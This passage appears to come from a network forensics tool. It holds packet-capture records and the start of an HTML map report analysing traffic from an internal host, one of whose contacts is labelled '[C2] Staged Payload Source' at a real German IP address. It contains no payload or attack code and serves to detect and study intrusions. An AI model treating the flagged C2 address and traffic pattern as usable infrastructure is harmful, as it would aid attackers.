\"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 31326, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 59727, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"185.90.162.118\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50210, \"\"dport\"\": 25180, \"\"seq\"\": 2010040810, \"\"ack\"\": 4216113774, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 38716, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-26 16:29:28.655806,50,TCP 192.168.122.168:50210 -> 185.90.162.118:25180,192.168.122.168,185.90.162.118,50210,25180,TCP,Internal,Private Network,,,,,,Germany,Frankfurt am Main,39378,servinga GmbH,50.1169,8.6837,185.90.162.0/24,FA,,,Ether > IP > TCP,3,TCP FA Seq=2010040810 Ack=4216113774,525400577f945254007bb7920800450000287a5f40008006e94ec0a87aa8b95aa276c422625c77cec9eafb4cca6e50112014973c0000,\"RT.W..RT.{....E..(z_@....N..z..Z.v.\"\"b\\w....L.nP. ..<..\",[C2] Staged Payload Source (Stages: 4),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 31327, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 59726, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"185.90.162.118\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50210, \"\"dport\"\": 25180, \"\"seq\"\": 2010040810, \"\"ack\"\": 4216113774, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 8212, \"\"chksum\"\": 38716, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-26 16:29:28.655828,51,TCP 185.90.162.118:25180 -> 192.168.122.168:50210,185.90.162.118,192.168.122.168,25180,50210,TCP,Germany,Frankfurt am Main,39378,servinga GmbH,50.1169,8.6837,185.90.162.0/24,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=4216113774 Ack=2010040811,5254007bb792525400577f94080045000028000040004006a3aeb95aa276c0a87aa8625cc422fb4cca6e77cec9eb50100053ea6a0000,\"RT.{..RT.W....E..(..@.@....Z.v..z.b\\.\"\".L.nw...P..S.j..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 0, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 41902, \"\"src\"\": \"\"185.90.162.118\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 25180, \"\"dport\"\": 50210, \"\"seq\"\": 4216113774, \"\"ack\"\": 2010040811, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 83, \"\"chksum\"\": 60010, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n"},"html_report":"<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta charset=\"UTF-8\">\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\">\n    <title>Global Network Analysis - Investigative Map</title>\n    <!-- Light Theme UI -->\n    <link rel=\"stylesheet\" href=\"https://unpkg.com/leaflet@1.9.4/dist/leaflet.css\" />\n    <script src=\"https://unpkg.com/leaflet@1.9.4/dist/leaflet.js\"></script>\n    <script src=\"https://d3js.org/d3.v7.min.js\"></script>\n    <link rel=\"stylesheet\" href=\"https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css\" />\n    <style>\n        :root {\n            --bg-page: #f8fafc;\n            --panel-bg: #ffffff;\n            --border-ui: #e2e8f0;\n            --text-primary: #1e293b;\n            --text-secondary: #64748b;\n            --accent-main: #3b82f6;\n            --accent-success: #10b981;\n            --accent-danger: #ef4444;\n            --shadow-ui: 0 4px 6px -1px rgba(0, 0, 0, 0.1);\n        }\n\n        body, html {\n            margin: 0;\n            padding: 0;\n            width: 100%;\n            height: 100%;\n            overflow: hidden;\n            font-family: 'Inter', system-ui, -apple-system, sans-serif;\n            background: var(--bg-page);\n            color: var(--text-primary);\n        }\n\n        #app-layout {\n            display: grid;\n            grid-template-columns: 1fr 400px;\n            grid-template-rows: 60px 1fr;\n            height: 100vh;\n            width: 100vw;\n        }\n\n        header {\n            grid-column: 1 / 3;\n            background: var(--panel-bg);\n            border-bottom: 1px solid var(--border-ui);\n            display: flex;\n            align-items: center;\n            padding: 0 24px;\n            justify-content: space-between;\n            z-index: 1000;\n        }\n\n        .brand {\n            display: flex;\n            align-items: center;\n            gap: 12px;\n            font-weight: 800;\n            font-size: 1.2rem;\n            color: var(--accent-main);\n        }\n\n        #map-view {\n            position: relative;\n            background: #eee;\n        }\n\n        #side-inspector {\n            background: var(--panel-bg);\n            border-left: 1px solid var(--border-ui);\n            display: flex;\n            flex-direction: column;\n            overflow: hidden;\n            box-shadow: -4px 0 10px rgba(0,0,0,0.02);\n        }\n\n        .inspector-header {\n            padding: 20px;\n            background: #f1f5f9;\n            border-bottom: 1px solid var(--border-ui);\n        }\n\n        .inspector-content {\n            flex: 1;\n            overflow-y: auto;\n            padding: 20px;\n        }\n\n        .info-card {\n            background: #f8fafc;\n            border: 1px solid var(--border-ui);\n            border-radius: 10px;\n            padding: 15px;\n            margin-bottom: 15px;\n        }\n\n        .sec-title {\n            font-size: 0.75rem;\n            text-transform: uppercase;\n            letter-spacing: 0.05em;\n            color: var(--text-secondary);\n            margin-bottom: 10px;\n            font-weight: 700;\n        }\n\n        .data-row {\n            display: flex;\n            justify-content: space-between;\n            margin-bottom: 6px;\n            font-size: 0.85rem;\n        }\n\n        .data-label {\n            color: var(--text-secondary);\n        }\n\n        .data-value {\n            font-weight: 600;\n            word-break: break-all;\n            text-align: right;\n        }\n\n        .packet-list-item {\n            padding: 10px;\n            border: 1px solid var(--border-ui);\n            border-radius: 6px;\n            margin-bottom: 8px;\n            cursor: pointer;\n            transition: all 0.2s;\n            font-size: 0.8rem;\n            display: flex;\n            justify-content: space-between;\n        }\n\n        .packet-list-item:hover {\n            background: #f1f5f9;\n            border-color: var(--accent-main);\n        }\n\n\n        .hex-dump {\n            font-family: 'Fira Code', 'Courier New', monospace;\n            background: #0f172a;\n            color: #38bdf8;\n            padding: 15px;\n            border-radius: 8px;\n            overflow: auto;\n            flex: 1;\n            font-size: 0.85rem;\n            line-height: 1.4;\n        }\n\n        .stat-grid {\n            display: grid;\n            grid-template-columns: repeat(3, 1fr);\n            gap: 15px;\n        }\n\n        .stat-box {\n            background: var(--panel-bg);\n            border: 1px solid var(--border-ui);\n            padding: 10px;\n            border-radius: 8px;\n            text-align: center;\n        }\n\n        .stat-v {\n            font-size: 1.2rem;\n            font-weight: 700;\n            color: var(--accent-main);\n        }\n\n        .stat-l {\n            font-size: 0.7rem;\n            color: var(--text-secondary);\n        }\n\n        .leaflet-d3-overlay {\n            pointer-events: none;\n        }\n\n        circle {\n            pointer-events: visiblePainted;\n            cursor: pointer;\n            transition: stroke-width 0.2s;\n        }\n\n        path.link {\n            stroke-opacity: 0.6;\n            fill: none;\n            cursor: pointer;\n        }\n\n        .replay-controller {\n            position: absolute;\n            bottom: 20px;\n            left: 50%;\n            transform: translateX(-50%);\n            background: white;\n            padding: 15px 25px;\n            border-radius: 12px;\n            display: flex;\n            align-items: center;\n            gap: 20px;\n            box-shadow: 0 10px 30px rgba(0,0,0,0.1);\n            z-index: 1001;\n            border: 1px solid var(--border-ui);\n            min-width: 500px;\n        }\n\n        .timeline-slider {\n            flex: 1;\n            -webkit-appearance: none;\n            height: 6px;\n            background: #e2e8f0;\n            border-radius: 5px;\n            outline: none;\n        }\n\n        .timeline-slider::-webkit-slider-thumb {\n            -webkit-appearance: none;\n            width: 18px;\n            height: 18px;\n            background: var(--accent-main);\n            border-radius: 50%;\n            cursor: pointer;\n            box-shadow: 0 2px 4px rgba(0,0,0,0.2);\n        }\n\n        .replay-btn {\n            background: var(--accent-main);\n            color: white;\n            border: none;\n            width: 36px;\n            height: 36px;\n            border-radius: 50%;\n            display: flex;\n            align-items: center;\n            justify-content: center;\n            cursor: pointer;\n            transition: transform 0.2s;\n        }\n\n        .replay-btn:hover {\n            transform: scale(1.1);\n        }\n\n        .packet-particle {\n            fill: var(--accent-main);\n            filter: drop-shadow(0 0 3px var(--accent-main));\n        }\n\n        .pvt-network-zone {\n            position: absolute;\n            top: 20px;\n            left: 20px;\n            width: 200px;\n            height: 150px;\n            border: 2px dashed #94a3b8;\n            border-radius: 10px;\n            background: rgba(248, 250, 252, 0.8);\n            pointer-events: none;\n            display: flex;\n            align-items: center;\n            justify-content: center;\n            font-size: 0.7rem;\n            color: #64748b;\n            text-transform: uppercase;\n            font-weight: 800;\n            z-index: 1000;\n        }\n    </style>\n</head>\n<body>\n    <div id=\"app-layout\">\n        <header>\n            <div class=\"brand\">\n                <i class=\"fas fa-microchip\"></i> FORENSIC GLOBAL ANALYZER\n            </div>\n            <div class=\"stat-grid\" style=\"gap: 40px;\">\n                <div class=\"stat-box\" style=\"border:none; background:none;\">\n                    <div class=\"stat-v\" id=\"stat-nodes\">0</div>\n                    <div class=\"stat-l\">NODES</div>\n                </div>\n                <div class=\"stat-box\" style=\"border:none; background:none;\">\n                    <div class=\"stat-v\" id=\"stat-edges\">0</div>\n                    <div class=\"stat-l\">FLOWS</div>\n                </div>\n                <div class=\"stat-box\" style=\"border:none; background:none;\">\n                    <div class=\"stat-v\" id=\"stat-pkts\">0</div>\n                    <div class=\"stat-l\">PACKETS</div>\n                </div>\n            </div>\n            <div>\n                <button onclick=\"zoomToWorld()\" class=\"btn\" style=\"padding: 8px 15px; border:1px solid #ccc; border-radius:5px; background:white; cursor:pointer;\">\n                    <i class=\"fas fa-globe\"></i> Reset View\n                </button>\n            </div>\n        </header>\n\n        <div id=\"map-view\">\n            <div id=\"map\" style=\"width: 100%; height: 100%;\"></div>\n            <div class=\"pvt-network-zone\" id=\"pvt-zone\">Internal Assets</div>\n            \n            <div class=\"replay-controller\">\n                <button class=\"replay-btn\" id=\"play-pause\" onclick=\"toggleReplay()\">\n                    <i class=\"fas fa-play\" id=\"play-icon\"></i>\n                </button>\n                <input type=\"range\" class=\"timeline-slider\" id=\"timeline\" min=\"0\" max=\"100\" value=\"0\" oninput=\"seekReplay(this.value)\">\n                <div id=\"time-display\" style=\"font-family: monospace; font-size: 0.8rem; color: var(--text-secondary); width: 140px;\">00:00:00.000</div>\n            </div>\n\n            <div class=\"internal-nodes-tray\" id=\"internal-tray\" style=\"display:none;\">\n                <div class=\"sec-title\">Internal Assets</div>\n                <div id=\"internal-node-list\"></div>\n            </div>\n        </div>\n\n        <div id=\"side-inspector\">\n            <div class=\"inspector-header\">\n                <h2 id=\"inspect-title\">Selection Inspector</h2>\n                <p id=\"inspect-subtitle\" style=\"font-size: 0.8rem; color: var(--text-secondary);\">Select a node or flow on map</p>\n            </div>\n            <div class=\"inspector-content\" id=\"inspect-body\">\n                <div style=\"text-align: center; color: #94a3b8; margin-top: 50px;\">\n                    <i class=\"fas fa-search-location\" style=\"font-size: 3rem; margin-bottom: 20px;\"></i>\n                    <p>Analysis initialized. Click map elements or use replay to investigate flows.</p>\n                </div>\n            </div>\n        </div>\n    </div>\n\n    </div>\n\n    <script>\n        const nodes = [{\"id\": \"192.168.122.168\", \"ip\": \"192.168.122.168\", \"packet_count\": 51, \"total_bytes_sent\": 5744, \"total_bytes_received\": 846, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\", \"Raw\"], \"ports_used\": [49899, 49892, 50181, 50200, 50210], \"first_seen\": 1777220770.279836, \"last_seen\": 1777220968.655828, \"packets\": [{\"num\": 1, \"time\": 1777220770.585501, \"size\": 153, \"direction\": \"sent\"}, {\"num\": 2, \"time\": 1777220771.19467, \"size\": 153, \"direction\": \"sent\"}, {\"num\": 3, \"time\": 1777220772.397797, \"size\": 153, \"direction\": \"sent\"}, {\"num\": 4, \"time\": 1777220772.982972, \"size\": 302, \"direction\": \"sent\"}, {\"num\": 5, \"time\": 1777220773.288391, \"size\": 302, \"direction\": \"sent\"}, {\"num\": 6, \"time\": 1777220773.620223, \"size\": 153, \"direction\": \"sent\"}, {\"num\": 7, \"time\": 1777220773.891146, \"size\": 302, \"direction\": \"sent\"}, {\"num\": 8, \"time\": 1777220774.833673, \"size\": 153, \"direction\": \"sent\"}, {\"num\": 9, \"time\": 1777220775.099347, \"size\": 302, \"direction\": \"sent\"}, {\"num\": 10, \"time\": 1777220776.302843, \"size\": 302, \"direction\": \"sent\"}, {\"num\": 11, \"time\": 1777220777.241979, \"size\": 153, \"direction\": \"sent\"}, {\"num\": 12, \"time\": 1777220777.540151, \"size\": 302, \"direction\": \"sent\"}, {\"num\": 13, \"time\": 1777220780.042037, \"size\": 302, \"direction\": \"sent\"}, {\"num\": 14, \"time\": 1777220782.045756, \"size\": 153, \"direction\": \"sent\"}, {\"num\": 15, \"time\": 1777220784.843165, \"size\": 302, \"direction\": \"sent\"}, {\"num\": 16, \"time\": 1777220791.653311, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 17, \"time\": 1777220794.498954, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 18, \"time\": 1777220913.941789, \"size\": 66, \"direction\": \"sent\"}, {\"num\": 19, \"time\": 1777220913.941831, \"size\": 66, \"direction\": \"received\"}, {\"num\": 20, \"time\": 1777220913.942031, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 21, \"time\": 1777220914.206081, \"size\": 58, \"direction\": \"sent\"}, {\"num\": 22, \"time\": 1777220914.206108, \"size\": 54, \"direction\": \"received\"}, {\"num\": 23, \"time\": 1777220914.206297, \"size\": 342, \"direction\": \"sent\"}, {\"num\": 24, \"time\": 1777220914.206309, \"size\": 54, \"direction\": \"received\"}, {\"num\": 25, \"time\": 1777220940.358617, \"size\": 54, \"direction\": \"received\"}, {\"num\": 26, \"time\": 1777220940.358774, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 27, \"time\": 1777220940.377157, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 28, \"time\": 1777220940.377187, \"size\": 54, \"direction\": \"received\"}, {\"num\": 29, \"time\": 1777220940.378016, \"size\": 66, \"direction\": \"sent\"}, {\"num\": 30, \"time\": 1777220940.378058, \"size\": 66, \"direction\": \"received\"}, {\"num\": 31, \"time\": 1777220940.378181, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 32, \"time\": 1777220940.378954, \"size\": 58, \"direction\": \"sent\"}, {\"num\": 33, \"time\": 1777220940.378968, \"size\": 54, \"direction\": \"received\"}, {\"num\": 34, \"time\": 1777220940.379176, \"size\": 390, \"direction\": \"sent\"}, {\"num\": 35, \"time\": 1777220940.379185, \"size\": 54, \"direction\": \"received\"}, {\"num\": 36, \"time\": 1777220958.743709, \"size\": 54, \"direction\": \"received\"}, {\"num\": 37, \"time\": 1777220958.74393, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 38, \"time\": 1777220958.744131, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 39, \"time\": 1777220958.744156, \"size\": 54, \"direction\": \"received\"}, {\"num\": 40, \"time\": 1777220958.744695, \"size\": 66, \"direction\": \"sent\"}, {\"num\": 41, \"time\": 1777220958.744726, \"size\": 66, \"direction\": \"received\"}, {\"num\": 42, \"time\": 1777220958.74481, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 43, \"time\": 1777220958.745445, \"size\": 58, \"direction\": \"sent\"}, {\"num\": 44, \"time\": 1777220958.745456, \"size\": 54, \"direction\": \"received\"}, {\"num\": 45, \"time\": 1777220958.745637, \"size\": 406, \"direction\": \"sent\"}, {\"num\": 46, \"time\": 1777220958.745644, \"size\": 54, \"direction\": \"received\"}, {\"num\": 47, \"time\": 1777220968.65541, \"size\": 54, \"direction\": \"received\"}, {\"num\": 48, \"time\": 1777220968.655606, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 49, \"time\": 1777220968.655806, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 50, \"time\": 1777220968.655828, \"size\": 54, \"direction\": \"received\"}], \"is_private\": true, \"is_server\": false, \"is_client\": true, \"suspicious_score\": 0.0, \"geo\": {\"country\": \"Internal\", \"city\": \"Private Network\", \"lat\": 0.0, \"lon\": 0.0, \"asn\": \"Unknown\", \"isp\": \"Unknown\", \"network\": \"Unknown\"}, \"duration\": 198.37599205970764, \"avg_packet_size\": 129.2156862745098, \"packets_per_second\": 0.2570875612037262}, {\"id\": \"4.213.25.240\", \"ip\": \"4.213.25.240\", \"packet_count\": 18, \"total_bytes_sent\": 0, \"total_bytes_received\": 3748, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"ports_used\": [443], \"first_seen\": 1777220770.279836, \"last_seen\": 1777220794.498954, \"packets\": [{\"num\": 0, \"time\": 1777220770.279836, \"size\": 153, \"direction\": \"received\"}, {\"num\": 1, \"time\": 1777220770.585501, \"size\": 153, \"direction\": \"received\"}, {\"num\": 2, \"time\": 1777220771.19467, \"size\": 153, \"direction\": \"received\"}, {\"num\": 3, \"time\": 1777220772.397797, \"size\": 153, \"direction\": \"received\"}, {\"num\": 4, \"time\": 1777220772.982972, \"size\": 302, \"direction\": \"received\"}, {\"num\": 5, \"time\": 1777220773.288391, \"size\": 302, \"direction\": \"received\"}, {\"num\": 6, \"time\": 1777220773.620223, \"size\": 153, \"direction\": \"received\"}, {\"num\": 7, \"time\": 1777220773.891146, \"size\": 302, \"direction\": \"received\"}, {\"num\": 8, \"time\": 1777220774.833673, \"size\": 153, \"direction\": \"received\"}, {\"num\": 9, \"time\": 1777220775.099347, \"size\": 302, \"direction\": \"received\"}, {\"num\": 10, \"time\": 1777220776.302843, \"size\": 302, \"direction\": \"received\"}, {\"num\": 11, \"time\": 1777220777.241979, \"size\": 153, \"direction\": \"received\"}, {\"num\": 12, \"time\": 1777220777.540151, \"size\": 302, \"direction\": \"received\"}, {\"num\": 13, \"time\": 1777220780.042037, \"size\": 302, \"direction\": \"received\"}, {\"num\": 14, \"time\": 1777220782.045756, \"size\": 153, \"direction\": \"received\"}, {\"num\": 15, \"time\": 1777220784.843165, \"size\": 302, \"direction\": \"received\"}, {\"num\": 16, \"time\": 1777220791.653311, \"size\": 54, \"direction\": \"received\"}, {\"num\": 17, \"time\": 1777220794.498954, \"size\": 54, \"direction\": \"received\"}], \"is_private\": false, \"is_server\": true, \"is_client\": false, \"suspicious_score\": 0.0, \"geo\": {\"country\": \"India\", \"city\": \"Pune\", \"lat\": 18.5211, \"lon\": 73.8502, \"asn\": 8075, \"isp\": \"Microsoft Corporation\", \"network\": \"4.213.0.0/16\"}, \"duration\": 24.219118118286133, \"avg_packet_size\": 208.22222222222223, \"packets_per_second\": 0.7432145097970962}, {\"id\": \"185.90.162.118\", \"ip\": \"185.90.162.118\", \"packet_count\": 33, \"total_bytes_sent\": 846, \"total_bytes_received\": 1996, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"Raw\"], \"ports_used\": [25180], \"first_seen\": 1777220913.941789, \"last_seen\": 1777220968.655828, \"packets\": [{\"num\": 18, \"time\": 1777220913.941789, \"size\": 66, \"direction\": \"received\"}, {\"num\": 19, \"time\": 1777220913.941831, \"size\": 66, \"direction\": \"sent\"}, {\"num\": 20, \"time\": 1777220913.942031, \"size\": 54, \"direction\": \"received\"}, {\"num\": 21, \"time\": 1777220914.206081, \"size\": 58, \"direction\": \"received\"}, {\"num\": 22, \"time\": 1777220914.206108, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 23, \"time\": 1777220914.206297, \"size\": 342, \"direction\": \"received\"}, {\"num\": 24, \"time\": 1777220914.206309, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 25, \"time\": 1777220940.358617, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 26, \"time\": 1777220940.358774, \"size\": 54, \"direction\": \"received\"}, {\"num\": 27, \"time\": 1777220940.377157, \"size\": 54, \"direction\": \"received\"}, {\"num\": 28, \"time\": 1777220940.377187, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 29, \"time\": 1777220940.378016, \"size\": 66, \"direction\": \"received\"}, {\"num\": 30, \"time\": 1777220940.378058, \"size\": 66, \"direction\": \"sent\"}, {\"num\": 31, \"time\": 1777220940.378181, \"size\": 54, \"direction\": \"received\"}, {\"num\": 32, \"time\": 1777220940.378954, \"size\": 58, \"direction\": \"received\"}, {\"num\": 33, \"time\": 1777220940.378968, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 34, \"time\": 1777220940.379176, \"size\": 390, \"direction\": \"received\"}, {\"num\": 35, \"time\": 1777220940.379185, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 36, \"time\": 1777220958.743709, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 37, \"time\": 1777220958.74393, \"size\": 54, \"direction\": \"received\"}, {\"num\": 38, \"time\": 1777220958.744131, \"size\": 54, \"direction\": \"received\"}, {\"num\": 39, \"time\": 1777220958.744156, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 40, \"time\": 1777220958.744695, \"size\": 66, \"direction\": \"received\"}, {\"num\": 41, \"time\": 1777220958.744726, \"size\": 66, \"direction\": \"sent\"}, {\"num\": 42, \"time\": 1777220958.74481, \"size\": 54, \"direction\": \"received\"}, {\"num\": 43, \"time\": 1777220958.745445, \"size\": 58, \"direction\": \"received\"}, {\"num\": 44, \"time\": 1777220958.745456, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 45, \"time\": 1777220958.745637, \"size\": 406, \"direction\": \"received\"}, {\"num\": 46, \"time\": 1777220958.745644, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 47, \"time\": 1777220968.65541, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 48, \"time\": 1777220968.655606, \"size\": 54, \"direction\": \"received\"}, {\"num\": 49, \"time\": 1777220968.655806, \"size\": 54, \"direction\": \"received\"}, {\"num\": 50, \"time\": 1777220968.655828, \"size\": 54, \"direction\": \"sent\"}], \"is_private\": false, \"is_server\": true, \"is_client\": false, \"suspicious_score\": 0.0, \"geo\": {\"country\": \"Germany\", \"city\": \"Frankfurt am Main\", \"lat\": 50.1169, \"lon\": 8.6837, \"asn\": 39378, \"isp\": \"servinga GmbH\", \"network\": \"185.90.162.0/24\"}, \"duration\": 54.71403908729553, \"avg_packet_size\": 86.12121212121212, \"packets_per_second\": 0.6031358779297747}];\n        const edges = [{\"source\": \"192.168.122.168\", \"target\": \"4.213.25.240\", \"packet_count\": 18, \"total_bytes\": 3748, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ports\": [49899, 49892], \"dst_ports\": [443], \"first_packet\": 1777220770.279836, \"last_packet\": 1777220794.498954, \"packets\": [{\"packet_number\": 0, \"timestamp\": 1777220770.279836, \"timestamp_iso\": \"2026-04-26T21:56:10.279836\", \"timestamp_human\": \"2026-04-26 21:56:10.279\", \"size\": 153, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46845, \"ip_len\": 139, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49899, \"dst_port\": 443, \"tcp_seq\": 3881783804, \"tcp_ack\": 1692602478, \"tcp_window\": 1029, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 1, \"timestamp\": 1777220770.585501, \"timestamp_iso\": \"2026-04-26T21:56:10.585501\", \"timestamp_human\": \"2026-04-26 21:56:10.585\", \"size\": 153, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46846, \"ip_len\": 139, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49899, \"dst_port\": 443, \"tcp_seq\": 3881783804, \"tcp_ack\": 1692602478, \"tcp_window\": 1029, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 2, \"timestamp\": 1777220771.19467, \"timestamp_iso\": \"2026-04-26T21:56:11.194670\", \"timestamp_human\": \"2026-04-26 21:56:11.194\", \"size\": 153, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46847, \"ip_len\": 139, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49899, \"dst_port\": 443, \"tcp_seq\": 3881783804, \"tcp_ack\": 1692602478, \"tcp_window\": 1029, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 3, \"timestamp\": 1777220772.397797, \"timestamp_iso\": \"2026-04-26T21:56:12.397797\", \"timestamp_human\": \"2026-04-26 21:56:12.397\", \"size\": 153, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46848, \"ip_len\": 139, \"ip_flags\": {\"DF\": false, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49899, \"dst_port\": 443, \"tcp_seq\": 3881783804, \"tcp_ack\": 1692602478, \"tcp_window\": 1029, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 4, \"timestamp\": 1777220772.982972, \"timestamp_iso\": \"2026-04-26T21:56:12.982972\", \"timestamp_human\": \"2026-04-26 21:56:12.982\", \"size\": 302, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46849, \"ip_len\": 288, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49892, \"dst_port\": 443, \"tcp_seq\": 3334411157, \"tcp_ack\": 1369756557, \"tcp_window\": 1028, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 5, \"timestamp\": 1777220773.288391, \"timestamp_iso\": \"2026-04-26T21:56:13.288391\", \"timestamp_human\": \"2026-04-26 21:56:13.288\", \"size\": 302, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46850, \"ip_len\": 288, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49892, \"dst_port\": 443, \"tcp_seq\": 3334411157, \"tcp_ack\": 1369756557, \"tcp_window\": 1028, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 6, \"timestamp\": 1777220773.620223, \"timestamp_iso\": \"2026-04-26T21:56:13.620223\", \"timestamp_human\": \"2026-04-26 21:56:13.620\", \"size\": 153, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"4.213.25.240\", \"ttl\": 128, \"ip_id\": 46851, \"ip_len\": 139, \"ip_flags\": {\"DF\": false, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 49899, 